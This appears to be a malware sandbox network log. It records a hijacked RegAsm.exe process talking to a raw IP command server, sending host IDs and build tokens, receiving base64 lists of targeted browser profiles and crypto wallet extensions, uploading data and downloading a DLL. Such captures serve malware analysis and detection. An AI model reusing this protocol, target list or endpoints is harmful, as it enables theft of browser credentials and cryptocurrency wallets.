Wed, 02 Oct 2024 15:16:29 GMT Content-Length: 34879 Connection: close Set-Cookie: sessionid=737e525facec64fe0c65d1c8; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-10-02 15:16:29 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-02 15:16:29 UTC	16384	IN	Data Raw: 52 54 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 09 09 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 09 09 09 24 28 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 27 29 2e 76 5f 74 6f 6f 6c 74 69 70 28 7b 27 6c 6f 63 61 74 69 6f 6e 27 3a 27 62 6f 74 74 6f 6d 27 2c 20 27 64 65 73 74 72 6f 79 57 68 65 6e 44 6f 6e 65 27 3a 20 66 61 6c 73 65 2c 20 27 74 6f 6f 6c 74 69 70 43 6c 61 73 73 27 3a 20 27 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 Data Ascii: RT</a></div><script type="text/javascript">jQuery(function($) {$('#global_header .supernav').v_tooltip({'location':'bottom', 'destroyWhenDone': false, 'tooltipClass': 'supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4
2024-10-02 15:16:29 UTC	3768	IN	Data Raw: 75 6d 6d 61 72 79 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 73 75 6d 6d 61 72 79 5f 66 6f 6f 74 65 72 22 3e 0d 0a 09 09 09 09 09 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 3e 56 69 65 77 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 Data Ascii: ummary"></div><div class="profile_summary_footer"><span data-panel="{"focusable":true,"clickOnActivate":true}" class="whiteLink" class="whiteLink">View more info</span></div><scr
2024-10-02 15:16:29 UTC	213	IN	Data Raw: 63 6b 3d 22 52 65 73 70 6f 6e 73 69 76 65 5f 52 65 71 75 65 73 74 4d 6f 62 69 6c 65 56 69 65 77 28 29 22 3e 0d 0a 09 09 09 09 09 3c 73 70 61 6e 3e 56 69 65 77 20 6d 6f 62 69 6c 65 20 77 65 62 73 69 74 65 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 0d 0a 09 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 63 6f 6e 74 65 6e 74 20 2d 2d 3e 0d 0a 0d 0a 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 66 72 61 6d 65 20 2d 2d 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: ck="Responsive_RequestMobileView()"><span>View mobile website</span></div></div></div></div>... responsive_page_content --></div>... responsive_page_frame --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	65231	49.12.197.9	443	5888	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:16:30 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:16:31 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:16:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:16:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	65232	49.12.197.9	443	5888	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:16:31 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJJJDHDGDAAKECAKJDA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 255 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:16:31 UTC	255	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 38 35 33 35 32 44 45 37 34 33 39 37 38 36 32 35 34 35 31 33 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 2d 2d 0d 0a Data Ascii: ------BKJJJDHDGDAAKECAKJDAContent-Disposition: form-data; name="hwid"685352DE7439786254513-a33c7340-61ca------BKJJJDHDGDAAKECAKJDAContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------BKJJJDHDGDAAKECAKJDA--
2024-10-02 15:16:32 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:16:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:16:32 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 62 30 36 34 61 32 37 36 61 39 34 64 36 38 33 65 34 37 39 61 61 34 66 37 32 61 34 65 36 35 37 66 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|b064a276a94d683e479aa4f72a4e657f\|1\|1\|1\|0\|0\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	65233	49.12.197.9	443	5888	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:16:33 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEGHJDGIJECGDHJJECGH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:16:33 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 36 34 61 32 37 36 61 39 34 64 36 38 33 65 34 37 39 61 61 34 66 37 32 61 34 65 36 35 37 66 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 0d 0a 43 6f 6e 74 Data Ascii: ------JEGHJDGIJECGDHJJECGHContent-Disposition: form-data; name="token"b064a276a94d683e479aa4f72a4e657f------JEGHJDGIJECGDHJJECGHContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------JEGHJDGIJECGDHJJECGHCont
2024-10-02 15:16:33 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:16:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:16:33 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	65234	49.12.197.9	443	5888	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:16:34 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIDAFHCBAKFCAAKFCFC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:16:34 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 44 41 46 48 43 42 41 4b 46 43 41 41 4b 46 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 36 34 61 32 37 36 61 39 34 64 36 38 33 65 34 37 39 61 61 34 66 37 32 61 34 65 36 35 37 66 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 46 48 43 42 41 4b 46 43 41 41 4b 46 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 46 48 43 42 41 4b 46 43 41 41 4b 46 43 46 43 0d 0a 43 6f 6e 74 Data Ascii: ------FHIDAFHCBAKFCAAKFCFCContent-Disposition: form-data; name="token"b064a276a94d683e479aa4f72a4e657f------FHIDAFHCBAKFCAAKFCFCContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------FHIDAFHCBAKFCAAKFCFCCont
2024-10-02 15:16:35 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:16:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:16:35 UTC	5685	IN	Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	65235	49.12.197.9	443	5888	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:16:35 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGCBAFCGDAAKFIDGIEG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:16:35 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 36 34 61 32 37 36 61 39 34 64 36 38 33 65 34 37 39 61 61 34 66 37 32 61 34 65 36 35 37 66 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 47 0d 0a 43 6f 6e 74 Data Ascii: ------EBGCBAFCGDAAKFIDGIEGContent-Disposition: form-data; name="token"b064a276a94d683e479aa4f72a4e657f------EBGCBAFCGDAAKFIDGIEGContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------EBGCBAFCGDAAKFIDGIEGCont
2024-10-02 15:16:36 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:16:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:16:36 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	65236	49.12.197.9	443	5888	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:16:37 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIDAAFBGDBKJJJKFIIIJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 5989 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:16:37 UTC	5989	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 36 34 61 32 37 36 61 39 34 64 36 38 33 65 34 37 39 61 61 34 66 37 32 61 34 65 36 35 37 66 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 Data Ascii: ------IIDAAFBGDBKJJJKFIIIJContent-Disposition: form-data; name="token"b064a276a94d683e479aa4f72a4e657f------IIDAAFBGDBKJJJKFIIIJContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------IIDAAFBGDBKJJJKFIIIJCont
2024-10-02 15:16:38 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:16:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:16:38 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	65237	49.12.197.9	443	5888	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:16:38 UTC	192	OUT	GET /sqlp.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:16:38 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:16:38 GMT Content-Type: application/octet-stream Content-Length: 2459136 Connection: close Last-Modified: Wednesday, 02-Oct-2024 15:16:38 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-10-02 15:16:38 UTC	16120	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-10-02 15:16:38 UTC	16384	IN	Data Raw: d3 b2 1e 00 e9 9c 25 1b 00 e9 3a f0 19 00 e9 9e cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: %:X~e!*FW\|>\|L1146
2024-10-02 15:16:38 UTC	16384	IN	Data Raw: 24 10 8b c3 0f 1f 40 00 8a 10 3a 11 75 1a 84 d2 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 Data Ascii: $@:utP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhS
2024-10-02 15:16:38 UTC	16384	IN	Data Raw: 83 f9 39 77 12 8d 1c 9b 46 8d 5b e8 8d 1c 59 0f be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 Data Ascii: 9wF[Y0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5
